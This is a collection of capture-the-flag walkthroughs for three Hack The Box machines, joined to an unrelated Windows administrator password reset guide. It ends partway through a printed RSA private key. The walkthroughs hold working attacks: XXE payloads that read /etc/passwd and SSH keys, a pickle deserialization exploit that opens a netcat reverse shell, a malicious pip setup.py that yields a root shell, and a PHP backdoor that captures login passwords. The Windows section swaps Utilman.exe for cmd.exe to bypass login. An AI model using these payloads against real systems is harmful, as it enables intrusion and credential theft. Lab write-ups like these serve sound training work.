As these labs are only available online, therefore, they have a static IP. Aragog Lab has IP: 10.10.10.78.

Now, as always let’s begin our hacking with the port enumeration.

C:\Users\jacco>nmap -sC 10.10.10.78
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 18:27 W. Europe Standard Time
Nmap scan report for 10.10.10.78
Host is up (0.036s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r-- 1 ftp ftp 86 Dec 21 2017 test.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 5
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh
| ssh-hostkey:
| 2048 ad:21:fb:50:16:d4:93:dc:b7:29:1f:4c:c2:61:16:48 (RSA)
| 256 2c:94:00:3c:57:2f:c2:49:77:24:aa:22:6a:43:7d:b1 (ECDSA)
|_ 256 9a:ff:8b:e4:0e:98:70:52:29:68:0e:cc:a0:7d:5c:1f (ED25519)
80/tcp open http
|_http-title: Apache2 Ubuntu Default Page: It works

 

So we try to connect with FTP through anonymous login. Here I found text.txt file in current directory. Then with the help of get command we downloaded text.txt file in our local machine.

C:\Users\jacco>ftp 10.10.10.78
Connected to 10.10.10.78.
220 (vsFTPd 3.0.3)
200 Always in UTF8 mode.
User (10.10.10.78:(none)): anonymous
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
test.txt
226 Directory send OK.
ftp: 13 bytes received in 0.00Seconds 13.00Kbytes/sec.
ftp> get test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (86 bytes).
226 Transfer complete.
ftp: 86 bytes received in 0.00Seconds 86.00Kbytes/sec.
ftp>exit
221 Goodbye.
C:\Users\jacco>type test.txt
<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

Then we open target IP over web browser but didn’t found any remarkable thing here.

When we found nothing at port 80, then though to use dirbuster for web directory brute-force attack.

Here I found a /host.php file from its result.

When I have explored /host.php in the web browser I found a message “There are 4294967294 possible hosts for” as shown below image. So I search in Google for 4294967294 host which was related to 255.255.255.254 as found in above test.txt file.

It mean we can post test.txt file here with help of burpsuit.

So let’s capture the request and sent the intercepted data into repeater.

As we have predict the test.txt is in XML format so we have tried to validate XXE injection.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"php://filter/convert.base64-encode/resource=/var/www/html/hosts.php" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

hosts.php ( converted from b64)

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$details = simplexml_import_dom($dom);
$mask = $details->subnet_mask;
//echo "\r\nYou have provided subnet $mask\r\n";

$max_bits = '32';
$cidr = mask2cidr($mask);
$bits = $max_bits - $cidr;
$hosts = pow(2,$bits);
echo "\r\nThere are " . ($hosts - 2) . " possible hosts for $mask\r\n\r\n";

function mask2cidr($mask){ 
$long = ip2long($mask); 
$base = ip2long('255.255.255.255'); 
return 32-log(($long ^ $base)+1,2); 
}

?>

Luckily we found this is vulnerable to XXE injection.

Hence now I can simply exploit it for fetching /etc/passwd file with help of following XXE script and then check its response.

Our payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

 

or curl

c:\PENTEST\HTB\aragog>type test.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>
c:\PENTEST\HTB\aragog>curl -d @test.txt http://10.10.10.78/hosts.php

There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
--snip--
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false

With the help of /passwd file information we try to get id_rsa through XXE script.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>

<details>

    <subnet_mask>&xxe;</subnet_mask>

    <test></test>

</details>

Yuppiee! We got the ssh private key successfully, that I copied in text file and named as key.

Then assign permission 600 to saved key (id-rsa) and then try to connect with SSH . You can observe that we get login successfully and accessed the TTY shell of victim’s machine, now let’s find the user.txt

PS C:\PENTEST\HTB\aragog> ssh -i .\floriankey.txt florian@10.10.10.78
Last login: Fri Jan 12 13:56:45 2018 from 10.10.14.3
florian@aragog:~$ ls
Desktop Documents Downloads Music Pictures Public Templates Videos examples.desktop user.txt
florian@aragog:~$ cat user.txt
f43*****359

Inside /var/www/html we saw /dev_wiki and it was good to see that this folder holds wordpress setup and configuration files.

So I simply add host IP: 10.10.10.78 and host name: aragog is our local host file which is present inside /etc.

So we explore aragog/dev_wiki in our web browser and got WordPress home page.

As you can observe inside /blog we found a message to Florian from Cliff where he had express the mess of wordpress restoring in very few minutes.

So with help of Google I found a script pspy32s and download it in victim’s VM inside /tmp and also gave execution permission.

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.

cd /tmp
wget http://10.10.14.6/ pspy32s
chmod +x pspy32s

After particular time we realize that there is a cronjob that is frequently deleting the dev_wiki folder & replacing it with the backup folder & a script wp-login.py is ran shortly after that process occurs.

Now let’s manipulate the content of wp-user.php file and place a new php code inside it to enumerate username and password.

backdoor php code added in wp-user.php

<?php
file_put_contents('/var/www/html/login.req', file_get_contents('php://input') . PHP_EOL, FILE_APPEND);
/**
* Fires in the login page header after scripts are enqueued.
*
* @since 2.1.0
*/
do_action ( 'login_form' );
?>

We run some tests & we see that our backdoor works. After some time you see the cleartext login credentials for the administrator account in our log.

florian@aragog:/var/www/html$ cat login.req
pwd=%21KRgYs%28JFO%21%26MTr%29lf&wp-submit=Log+In&testcookie=1&log=Administrator&redirect_to=http%3A%2F%2F127.0.0.1%2Fdev_wiki%2Fwp-admin%2F

This password is encoded by URL, we use Burp decode it, and then we use this password login to root.

florian@aragog:/var/www/html$ su root
Password:!KRgYs(JFO!&MTr)lf
root@aragog:/var/www/html# cat /root/root.txt
9a9*****de6

Author: Jacco Straathof

HTB – Canape

Today we are going to solve another CTF challenge “Canape” which is available online for those who want to increase their skill in penetration testing and black box testing. Canape is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Canape is 10.10.10.70 so let’s begin with nmap port enumeration.

root@kali:~/htb/canape# nmap -p- -sV 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:18 CET
Nmap scan report for 10.10.10.70
Host is up (0.044s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.24 seconds

As port 80 is running http server, we open the target machine’s IP address in our browser and find that it is a fan site for the Simpsons.

We don’t find anything on the webpage, so we run

root@kali:~/htb/canape# nmap -sV -sC -p 80,65535 10.10.10.70
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 19:32 CET
Nmap scan report for 10.10.10.70
Host is up (0.038s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git: 
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.57 seconds

We open the /.git/ directory and find the config file.

When we open the config file, we find a domain name “git.canape.htb”.

Now we have added the domain name of the target machine in /etc/hosts file to access the webpage using IP address as well as domain name.

Now we can clone the local git repository using the following command:

Here we found out a file named “__init__.py” in Simpsons folder as shown in the image.

After download the files, we open “__init__.py” and find that this program might be vulnerable insecure deserialization as it uses a vulnerable function “cPickel.loads(data)”.

Now we create a program to exploit this vulnerability and get reverse shell.

root@kali:~/htb/canape/simpsons# cat pixploit.py 
import os
import cPickle
from hashlib import md5
import requests

class Exploit(object):
def __reduce__(self):
return (os.system, ('homer:;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.15 443 >/tmp/f',)) #Add shell here

shellcode = cPickle.dumps(Exploit())

requests.post("http://10.10.10.70/submit", data={'character': shellcode.split(":")[0], 'quote': shellcode.split(":")[1]})
requests.post("http://10.10.10.70/check", data={'id': md5(shellcode.split(":")[0] + shellcode.split(":")[1]).hexdigest()})
root@kali:~/htb/canape/simpsons# python pixploit.py

We setup our listener “netcat” before running the python program

root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54668
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
homer:x:1000:1000:homer,,,:/home/homer:/bin/bash

$ netstat -antp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:44732 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:65535 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5984 0.0.0.0:* LISTEN - 
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - 
tcp 0 0 0.0.0.0:4369 0.0.0.0:* LISTEN - 
tcp 0 125 10.10.10.70:54668 10.10.14.15:443 ESTABLISHED 18876/nc 
tcp 1 0 127.0.0.1:33044 127.0.0.1:5984 CLOSE_WAIT - 
tcp 0 0 10.10.10.70:80 10.10.14.15:35810 ESTABLISHED - 
tcp 1 0 127.0.0.1:33046 127.0.0.1:5984 CLOSE_WAIT 18871/sh 
tcp 0 0 127.0.0.1:49880 127.0.0.1:4369 ESTABLISHED - 
tcp 0 0 127.0.0.1:4369 127.0.0.1:49880 ESTABLISHED - 
tcp6 0 0 :::65535 :::* LISTEN - 
tcp6 0 0 :::4369 :::* LISTEN - 
$
$ curl http://127.0.0.1:5984
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 91 100 91 0 0 27584 0 --:--:-- --:--:-- --:--:-- 45500
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
$ curl http://127.0.0.1:5984/_all_dbs
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 78 0 78 0 0 24848 0 --:--:-- --:--:-- --:--:-- 39000
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Then we create a user with permissions to read the database with following command.

$ curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:puck' --data-binary '{"type":"user","name":"puck","roles": ["_admin"],"roles": [],"password": "1234567"}'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 167 100 84 100 83 660 652 --:--:-- --:--:-- --:--:-- 656
{"ok":true,"id":"org.couchdb.user:puck","rev":"1-f93cce0747d99984fe3cd26f8193f20e"}
$ curl http://127.0.0.1:5984/passwords/_all_docs?include_docs=true -u puck:1234567
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1242 0 1242 0 0 76454 0 --:--:-- --:--:-- --:--:-- 82800
{"total_rows":4,"offset":0,"rows":[
{"id":"739c5ebdf3f7a001bebb8fc4380019e4","key":"739c5ebdf3f7a001bebb8fc4380019e4","value":{"rev":"2-81cf17b971d9229c54be92eeee723296"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}},
{"id":"739c5ebdf3f7a001bebb8fc43800368d","key":"739c5ebdf3f7a001bebb8fc43800368d","value":{"rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}},
{"id":"739c5ebdf3f7a001bebb8fc438003e5f","key":"739c5ebdf3f7a001bebb8fc438003e5f","value":{"rev":"1-77cd0af093b96943ecb42c2e5358fe61"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}},
{"id":"739c5ebdf3f7a001bebb8fc438004738","key":"739c5ebdf3f7a001bebb8fc438004738","value":{"rev":"1-49a20010e64044ee7571b8c1b902cf8c"},"doc":{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}}
]}

Or alternatively , couchdb version is vulnerable (CVE-2017-12635) so I found a publicly available exploit (https://www.exploit-db.com/exploits/44498/) to create an user with admin privileges in CouchDB ddbb and… exploit worked!!

www-data@canape:/tmp$ python 2.py -p5984 -u puckie -P style 127.0.0.1
python 2.py -p5984 -u puckie -P style 127.0.0.1
[+] User to create: puckie
[+] Password: style
[+] Attacking host 127.0.0.1 on port 5984
[+] User puckie with password style successfully created.
www-data@canape:/tmp$ 

We login through SSH using the credentials we found earlier “homer:0B4jyA0xtytZi7esBNGp”. After login we find a file ‘user.txt’. We open the file and find our first flag.

After getting the flag, we checked the sudoers list and find homer has permission to run “pip install *” as root user.

root@kali:~/htb/canape/simpsons# ssh homer@10.10.10.70 -p 65535
homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Tue Feb 5 11:30:15 2019 from 10.10.14.15
homer@canape:~$ 0B4jyA0xtytZi7esBNGp
[sudo] password for homer: 0B4jyA0xtytZi7esBNGp 
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
(root) /usr/bin/pip install *

Now as we know we can run “pip install *” as root, we are going to abuse it

To exploit this, we can simply create a malicious python package that will run code when it’s installed. To do this we can create a setup.py file on our attacking box with the following.

import os
import pty
import socket

from setuptools import setup
from setuptools.command.install import install

class MyClass(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("10.10.14.15", 443))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        os.putenv("HISTFILE",'/dev/null')
        pty.spawn("/bin/bash")
        s.close()
	
setup(
    cmdclass={
        "install": MyClass
    }
)

This basically just tells pip to run MyClass at install, which will send us a reverse shell.

Now we’ll need to package it.

root@kali:~/htb/canape# python setup.py sdist

By default it creates a UNKNOWN-0.0.0.tar.gz file under dist, which we can copy out and rename as shell.tar.gz then copy to our victim.

homer@canape:/tmp$ wget http://10.10.14.15/shell.tar.gz
--2019-02-05 11:57:52-- http://10.10.14.15/shell.tar.gz
Connecting to 10.10.14.15:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 735 [application/gzip]
Saving to: ‘shell.tar.gz’

shell.tar.gz 100%[==================================================================================>] 735 --.-KB/s in 0s

2019-02-05 11:57:52 (118 MB/s) - ‘shell.tar.gz’ saved [735/735]

Now we can start a netcat listener and run sudo with pip install.

homer@canape:/tmp$ sudo /usr/bin/pip install shell.tar.gz
The directory '/home/homer/.cache/pip/http' or its parent directory is not owned by the current user and the cache has been disabled. Please check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
The directory '/home/homer/.cache/pip' or its parent directory is not owned by the current user and caching wheels has been disabled. check the permissions and owner of that directory. If executing pip with sudo, you may want sudo's -H flag.
Processing ./shell.tar.gz
Installing collected packages: UNKNOWN
Running setup.py install for UNKNOWN ... -
root@kali:~/htb/canape/simpsons# nc -lvp 443
listening on [any] 443 ...
connect to [10.10.14.15] from git.canape.htb [10.10.10.70] 54702
root@canape:/tmp/pip-aK4M3e-build# cat /root/root.txt
cat /root/root.txt
928*****76d

Author: Jacco Straathof

Recover lost Windows Administrator Password

Admin Password is the only password in your Operating system which are mostly compromised due to several mischief, whether you forget or lose the password, or your admin account has been invaded by any unknown intruder. The resulting consequence is that you become unable to access any of the Windows server system contents, files, folders, media files, etc. In most of the cases, user who forget or lose their admin password prefer to call a computer expert or take the system to the service centre to unlock their locked computer, but that creates a lot of hassle with unnecessary money expenditure.

Thus here in this article we would demonstrate you few basic methods or trickeries which will definitely help you to reset local administrator password on Windows server 2012 R2 without any external help.

Method #1: Reset Windows Server 2012 Admin Password with Command Prompt

Command Prompt is truly an excellent command line interpreter which can be used to interpret various tasks at the cost of certain code lines in short span of time. Here we would implement cmd to remove the forgotten password. Read the steps carefully to perform the method:

Step 1. Firstly, create a bootable disk using CD/DVD or USB and insert it into the locked computer.

Reset Windows Server 2012

Step 2. Choose your language and click on “Troubleshoot” option.

Step 3. Click on “Command Prompt” button to start it on an advanced mode and type the command scribbled below when the black dialog box turns up:

d: cd windows\system32

ren Utilman.exe Utilman.exe.old

copy cmd.exe Utilman.exe

type command

Step 5. Exit your command prompt and then click “Continue”. Your Windows server 2016 computer will re boot and go to the logon screen. Here click Windows Key + U to oepn command prompt again, then type command:

net user administrator Pa$$w0rd2

start to reset Reset Windows Server 2012

Write the actual username and the newly created password in place of USERNAME and PASSWORD option. Pa$$w0rd2 will be set to password for the Administrator user (case sensitive).

Now your job is done! You can enter the locked account with the newly set password.

HTB – DevOops

Today we are going to solve another CTF challenge “DevOops”. DevOops is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Medium

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of DevOops is 10.10.10.91

Walkthrough

Let’s start off with our basic nmap command to find out the open ports and services.

c:\Users\jacco>nmap -p- -A 10.10.10.91 --open
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 13:54 W. Europe Standard Time
Nmap scan report for 10.10.10.91
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=2/25%OT=22%CT=1%CU=42043%PV=Y%DS=2%DC=T%G=Y%TM=5C73E5A
OS:3%P=i686-pc-windows-windows)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=A
OS:)SEQ(CI=I%II=I%TS=A)SEQ(CI=I%II=I)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M
OS:54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=712
OS:0%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%
OS:CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 26.00 ms 10.10.14.1
2 26.00 ms 10.10.10.91

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.28 seconds

From Nmap scanning, we have enumerated port 22 and 5000 are only open ports on the target’s network, therefore firstly, let’s navigate to port 5000 through a web browser. By exploring given URL, it puts up following web page as shown in the below image.

root@kali:~/htb/devoops# dirb http://10.10.10.91:5000

-----------------
DIRB v2.22 
By The Dark Raver
-----------------

START_TIME: Tue Feb 26 13:05:17 2019
URL_BASE: http://10.10.10.91:5000/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.91:5000/ ----
+ http://10.10.10.91:5000/feed (CODE:200|SIZE:546263) 
+ http://10.10.10.91:5000/upload (CODE:200|SIZE:347)

So we explore http://10.10.10.91:5000/upload in the URL and further welcomed by following web Page given below. The following web page lets you upload an XML file, including XML elements Author, Subject and content. For that reason, we have created an XML file with the help of following code and saved as 1.xml

<?xml version="1.0"?>
<!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]>
<body>
  <Author>auth</Author>
  <Subject>subj</Subject>
  <Content>&example;</Content>
</body>

Then browse the xml file, which you have created and intercept the browser request with the help of burp suite while uploading.

Now send the intercepted data to the repeater.

Inside XXE file, we have injected malicious code to make call for /etc/passwd file, thus, we need to analysis its result in the repeater.

And as you can observe from the given below image, the xml code is working wonderfully and throwing the content of /etc/passwd file to us.

Similar, we extract the SSH RSA key by modifying XXE entry as show in the below image. Now copy the whole key and save in a text file.

Since we have copied RSA Private KEY in a text file named as “key” , then set permission 600 and try to login with the help of following command.

:: Set Variable ::
set key="C:\Path\to\key"

:: Remove Inheritance ::
cmd /c icacls %key% /c /t /inheritance:d

:: Set Ownership to Owner ::
cmd /c icacls %key% /c /t /grant %username%:F

:: Remove All Users, except for Owner ::
cmd /c icacls %key%  /c /t /remove Administrator BUILTIN\Administrators BUILTIN Everyone System Users

:: Verify ::
cmd /c icacls %key%
PS C:\pentest\htb\devoops> ssh -i key roosa@10.10.10.91
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

roosa@gitter:~$ ls
deploy   Documents  examples.desktop  Pictures  run-blogfeed.sh  service.sh~  user.txt  work
Desktop  Downloads  Music             Public    service.sh       Templates    Videos
roosa@gitter:~$ cat user.txt
c58*****67b

Great!!! We have completed the first task but for obtaining root.txt file we need to escalate the root privilege and to do so we traversed so many directories and files to get next clue.

roosa@gitter:~$ cd work
roosa@gitter:~/work$ ls
blogfeed
roosa@gitter:~/work$ cd blogfeed
roosa@gitter:~/work/blogfeed$ ls
README.md resources run-gunicorn.sh src
roosa@gitter:~/work/blogfeed$ cat run-gunicorn.sh
#!/bin/sh

export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app

roosa@gitter:~/work/blogfeed$ cd resources/
roosa@gitter:~/work/blogfeed/resources$ ls
integration

So we found .git directory here, lets check git with the git log command.

roosa@gitter:~/work/blogfeed/resources$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 26 06:13:55 2018 -0400

Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:37:00 2018 -0400

Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 15:08:09 2018 -0400

Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:38:21 2018 -0400

Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:37:56 2018 -0400

Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 -0400

reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400

add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:24:30 2018 -0400

Initial commit
roosa@gitter:~/work/blogfeed/resources$

And we obtain so many string as shown in the following image which may perhaps SSH key for root login. So we try some key along git show command to demonstrate the output result. And obtain RSA Private Key which was not working properly.

roosa@gitter:~/work/blogfeed/resources$ git show d387abf63e05c9628a59195cec9311751bdb283f
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 -0400

add key for feed integration from tnerprise backend

diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
new file mode 100644
index 0000000..44c981f
--- /dev/null
+++ b/resources/integration/authcredentials.key
@@ -0,0 +1,28 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
+8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
+vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
+nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
+CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
+F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
+uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
+gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
+k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
